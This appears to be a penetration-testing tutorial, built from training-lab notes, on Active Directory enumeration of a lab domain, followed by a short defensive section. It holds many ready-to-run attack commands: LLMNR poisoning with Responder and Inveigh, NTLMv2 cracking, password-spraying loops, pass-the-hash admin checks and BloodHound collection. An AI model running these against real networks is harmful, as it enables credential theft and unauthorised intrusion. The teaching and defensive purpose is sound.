Introduction

Active Directory enumeration is the process of building a usable map of a Windows enterprise environment so later privilege escalation and lateral movement are based on facts instead of guesses. In a real engagement, the goal is rarely “list everything” for its own sake. The real goal is to identify valid users, critical hosts, trust relationships, weak controls, exposed services, and data that can be turned into access, escalation, or persistence.

This is why good AD enumeration starts before authentication and keeps evolving after the first foothold. Public OSINT can reveal naming conventions, leaked credentials, and domain infrastructure, while internal recon can uncover domain controllers, file servers, legacy systems, password policy, and misconfigurations such as NULL sessions or anonymous LDAP binds. Once credentials are available, the picture becomes much richer because tools such as CrackMapExec, BloodHound, PowerView, and native Windows utilities can connect isolated facts into real attack paths.

Some of the most valuable data points during AD enumeration are:

  • Public IP space, DNS records, and externally exposed services.
  • Domain controllers, file servers, mail servers, and legacy hosts.
  • Valid domain users and likely username formats.
  • Password policy, lockout settings, and weak authentication surfaces.
  • Group membership, trusts, ACLs, local admin access, shares, and SPN-bearing accounts.

External Recon Before Touching the Domain

Before sending a single packet into the internal network, it is worth understanding what the target has already exposed publicly. External recon helps validate scope, identify infrastructure that belongs to the client, and collect information that can later improve username generation, password spraying, and host validation. In AD work, small OSINT details often become high-value inputs later, such as an email naming scheme, a SharePoint mention in a job post, a leaked VPN hostname, or a document that embeds internal usernames in metadata.

The key idea is to collect identity and infrastructure clues rather than only scanning for ports. Public IP ownership, DNS records, mail servers, subdomains, employee names, and breach data can all help establish the expected domain pattern before you even see the first domain controller. This phase is especially useful in black-box or remote engagements because it reduces wasted time and helps ensure that later internal actions stay aligned with the actual target environment.

# Validate public DNS information
nslookup ns1.inlanefreight.com
nslookup ns2.inlanefreight.com

# Query breach data for the target domain
sudo python3 dehashed.py -q inlanefreight.local -p

Useful public recon sources for this phase include BGP and ASN lookups, DNS platforms such as ViewDNS or DomainTools, public company websites, social networks, GitHub, cloud storage leaks, and breach databases. The purpose is not to replace internal testing, but to arrive at the internal phase with better assumptions about usernames, services, technologies, and likely credential reuse.


Internal Host Discovery and First User Validation

Once inside the network, the first task is to identify what exists before trying to authenticate everywhere blindly. Passive collection is often the least disruptive place to start because ARP, mDNS, and related traffic can reveal active hosts and naming patterns without sending aggressive probes. Even a short packet capture can expose a domain controller address, workstation naming conventions, web server names, or a list of live IPs that is more accurate than guessing from a full subnet scan.

After that, active validation fills in the gaps. Lightweight ICMP sweeps can confirm which systems are alive, and a targeted Nmap pass can identify critical services such as Kerberos, LDAP, SMB, DNS, and RDP. At this stage, another important milestone is validating the first domain usernames. If you still do not have credentials, tools such as Kerbrute can often confirm valid AD users with less noise than older approaches, which makes it one of the most practical bridges between anonymous recon and authenticated enumeration.

# Passive listening
sudo -E wireshark
sudo tcpdump -i ens224
sudo responder -I ens224 -A

# Basic active host discovery
fping -asgq 172.16.5.0/23

# Service discovery on confirmed live hosts
sudo nmap -v -A -iL hosts.txt -oN host-enum

# Username validation against Kerberos
kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 /opt/jsmith.txt

This is also the point where host quality matters more than host quantity. A single legacy server with RDP exposed may be worth more than twenty generic workstations, and a SYSTEM shell on any domain-joined host is almost as valuable as a low-privileged domain user because the machine account itself can enumerate the domain and support follow-on attacks.

LLMNR, NBT-NS, and Early Credential Capture

In many internal environments, the easiest way to obtain the first reusable credential is not through brute force but through local name resolution poisoning. LLMNR and NBT-NS exist to help Windows hosts resolve names when DNS fails, but they also create an opportunity for a responder on the local segment to impersonate the requested host and collect NTLM challenge-response material. In practice, this means that simply waiting on the wire can turn user mistakes or routine misconfigurations into credential capture.

Responder on Linux and Inveigh on Windows implement this workflow well. They can sit on the segment, answer poisoned requests, and log NTLMv2 hashes for later cracking or relay opportunities. In a typical engagement, these tools are best run in the background while other enumeration continues, because the number of captured attempts often grows with time rather than with interaction from the tester.

# Linux poisoning and capture
sudo responder -I ens224

# Crack captured NTLMv2 with Hashcat
hashcat -m 5600 forend_ntlmv2
# PowerShell-based poisoning from Windows
Import-Module .\Inveigh.ps1
Invoke-Inveigh -LLMNR Y -NBNS Y -ConsoleOutput Y -FileOutput Y

# Compiled C# version
.\Inveigh.exe
# Then use the console:
# GET NTLMV2UNIQUE
# GET NTLMV2USERNAMES

This technique is effective because it does not depend on knowing usernames or passwords beforehand. Instead, it converts ambient network behavior into authentication material. Even if the captured hash is not cracked immediately, the username itself becomes valuable input for later password spraying, Kerberoasting target selection, or directory searches.


Password Policy, User Lists, and Responsible Spraying

Password spraying is one of the most useful but also one of the easiest techniques to misuse inside AD. The point is not to hammer a single account with many passwords, but to test a small number of common passwords across a wider user set while staying below the lockout threshold. That makes password policy recovery a critical step, because the same spray that is safe in one domain can create a major outage in another if lockout rules are stricter than expected.

The safest workflow is to collect the policy first, build a user list second, and spray last. If SMB NULL sessions or anonymous LDAP binds are available, you can often pull both password policy and user data without valid credentials. If not, any foothold with domain access can retrieve the same information through native Windows commands or PowerShell. Only after the lockout threshold and reset window are known should spraying even be considered.

# Password policy from Linux with credentials
crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol

# NULL session checks
rpcclient -U "" -N 172.16.5.5
enum4linux -P 172.16.5.5
enum4linux-ng -P 172.16.5.5 -oA ilfreight

# Anonymous LDAP policy and user extraction
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
net use \\DC01\ipc$ "" /u:""
net accounts
Import-Module .\PowerView.ps1
Get-DomainPolicy

After policy recovery, user list generation can come from several places: enum4linux -U, rpcclient enumdomusers, crackmapexec --users, anonymous LDAP, Kerbrute validation, or a credentialed LDAP query. Once the list is ready, the spray itself should stay conservative and deliberate. It is usually better to make one good attempt with a realistic password than to cycle through many guesses and risk locking out real users.

# Build user lists
enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
crackmapexec smb 172.16.5.5 --users
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt

# Spray from Linux
for u in $(cat valid_users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

# Validate a hit quickly
sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123

# Test local admin password reuse safely
sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

Credentialed Enumeration with Linux Tooling

Once valid domain credentials are available, Linux-based tooling can map a surprising amount of the environment without ever touching a Windows shell. CrackMapExec is usually the fastest starting point because it can enumerate users, groups, logged-on users, and shares from SMB while also highlighting details such as badPwdCount. SMBMap is excellent for share discovery and recursive directory mapping, rpcclient provides deep RPC visibility, and LDAP-focused tools like windapsearch add lightweight directory queries without requiring full GUI tooling.

BloodHound.py is where this information becomes strategic rather than merely descriptive. A credential that looks low-value in plain text may actually sit on a path to Domain Admins through nested groups, ACL abuse, session exposure, or local admin rights. By pushing directory data into BloodHound and querying shortest paths, you stop thinking in terms of isolated commands and start thinking in terms of graph relationships, which is usually where real AD privilege escalation opportunities become obvious.

# CME basics
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups
sudo crackmapexec smb 172.16.5.130 -u forend -p Klmcargo2 --loggedon-users
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share 'Department Shares'

# SMBMap share review
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R 'Department Shares' --dir-only

# RPC enumeration
rpcclient -U "" -N 172.16.5.5
# enumdomusers
# queryuser 0x457

# LDAP-focused privilege discovery
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU
# BloodHound collection from Linux
sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all
zip -r ilfreight_bh.zip *.json
sudo neo4j start
bloodhound

If administrative access is later recovered, Impacket tools extend this workflow into execution and verification. psexec.py is useful when local admin is already confirmed and a fast SYSTEM shell is needed, while wmiexec.py is often a quieter option for remote command execution. These are no longer pure recon, but they sit naturally after credentialed enumeration because they confirm where recovered rights actually translate into host access.

Credentialed Enumeration with Windows Tooling

On a Windows foothold, the richest enumeration often comes from combining Microsoft-native cmdlets with offensive PowerShell tooling. The ActiveDirectory module is excellent for structured domain queries such as users, groups, trusts, and SPN-bearing accounts. PowerView and SharpView complement it by making privilege-oriented searches easier, especially when looking for interesting ACLs, local admin access, nested group relationships, file servers, and trust mappings that might not stand out in raw directory output.

This is also the stage where share hunting and graph collection become highly productive. Snaffler can crawl readable shares and highlight interesting files such as scripts, configs, SSH keys, and documents containing credentials. SharpHound then turns the broader domain picture into something BloodHound can analyze visually, making it much easier to identify unsupported operating systems, hosts where Domain Users are local admins, or short privilege-escalation paths that are hard to recognize from line-by-line tool output.

# ActiveDirectory module
Get-Module
Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Get-ADTrust -Filter *
Get-ADGroup -Filter * | select name
Get-ADGroupMember -Identity "Backup Operators"
# PowerView and SharpView
Get-DomainUser -Identity mmorgan -Domain inlanefreight.local | Select-Object name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,admincount,userprincipalname,serviceprincipalname,useraccountcontrol
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainTrustMapping
Test-AdminAccess -ComputerName ACADEMY-EA-MS01
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName
.\SharpView.exe Get-DomainUser -Identity forend

# Share hunting
.\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data
# SharpHound collection from Windows
.\SharpHound.exe -c All --zipfilename ILFREIGHT
bloodhound
# Then upload ILFREIGHT.zip and review:
# Find Computers with Unsupported Operating Systems
# Find Computers where Domain Users are Local Admin
# Find Shortest Paths To Domain Admins

One of the best habits in this phase is to move from “what exists” to “what matters.” A giant list of groups is less useful than a recursive chain into Backup Operators or a trust path to another domain. Likewise, a hundred readable shares matter less than the one share containing deployment scripts, admin notes, or passwords that let you broaden access without creating new noise.


Native Windows Recon, Controls, and OPSEC

Some clients care specifically about what can be enumerated with native Windows tooling only, and in mature environments this can also be the quieter option. Built-in commands can reveal host identity, patch level, domain affiliation, routing, firewall state, local sessions, and even rich directory information if the right DLLs or RSAT components are present. This matters operationally because imported tools are more likely to be blocked by Defender, AppLocker, or constrained PowerShell, while native commands often blend more naturally into administrative activity.

At the same time, native recon should include defensive surface awareness. Knowing whether Defender is active, whether AppLocker blocks powershell.exe, whether PowerShell is running in Constrained Language Mode, or whether LAPS is deployed changes what is realistic next. The point of this phase is not only to gather more data, but also to understand how noisy or viable later actions will be from the host you already control.

# Basic host and network context
hostname
[System.Environment]::OSVersion.Version
wmic qfe get Caption,Description,HotFixID,InstalledOn
ipconfig /all
echo %USERDOMAIN%
echo %LOGONSERVER%
qwinsta
arp -a
route print

# PowerShell and execution context
Get-Module
Get-ExecutionPolicy -List
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
powershell.exe -version 2
# Defensive surface
netsh advfirewall show allprofiles
sc query windefend
Get-MpComputerStatus
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$ExecutionContext.SessionState.LanguageMode

# LAPS checks
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights
Get-LAPSComputers
# WMI, NET, and dsquery
wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress
net accounts /domain
net group "Domain Admins" /domain
net user /domain
net view /domain
net1 user /domain
dsquery user
dsquery computer
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName

Using native commands well also requires understanding LDAP filters and UAC bitmasks. Queries based on OIDs such as 1.2.840.113556.1.4.803 let you search for very specific account states, including domain controllers, disabled accounts, or users with risky flags like PASSWD_NOTREQD. That makes native enumeration much more powerful than a simple net user /domain dump when you need precision rather than volume.


Defensive View and Practical Priorities

From a defender’s perspective, most of the techniques above are not dangerous because they are exotic; they are dangerous because they are ordinary. DNS lookups, LDAP queries, SMB share access, Kerberos requests, and Windows-native administration commands all look plausible in enterprise environments. That is why AD defense relies on layered visibility rather than on hoping that attackers will drop obviously malicious binaries or generate obviously malicious traffic.

Practical defenses include disabling anonymous SMB and LDAP enumeration, enforcing MFA on exposed services, reducing local admin reuse, deploying LAPS correctly, constraining or monitoring PowerShell, and hardening name resolution to reduce LLMNR and NBT-NS poisoning. For detection, organizations should watch for unusual bursts of Kerberos TGT requests, repeated failed logons that resemble password spraying, suspicious share crawling, and graph-like directory collection behavior associated with BloodHound or large-scale LDAP queries.

For an operator, the main lesson is prioritization. You do not need every host, every user, or every group to be enumerated before you can move forward. You need enough information to answer the next meaningful question: how do I validate users, recover a credential, discover privilege, confirm local admin, or reveal a path toward higher-value access? Active Directory enumeration is most effective when it stays iterative, selective, and directly tied to the next escalation decision.


Reference

This article is based on my personal study notes from the Information Security Foundations track.

Full repository: https://github.com/lameiro0x/pentesting-path-htb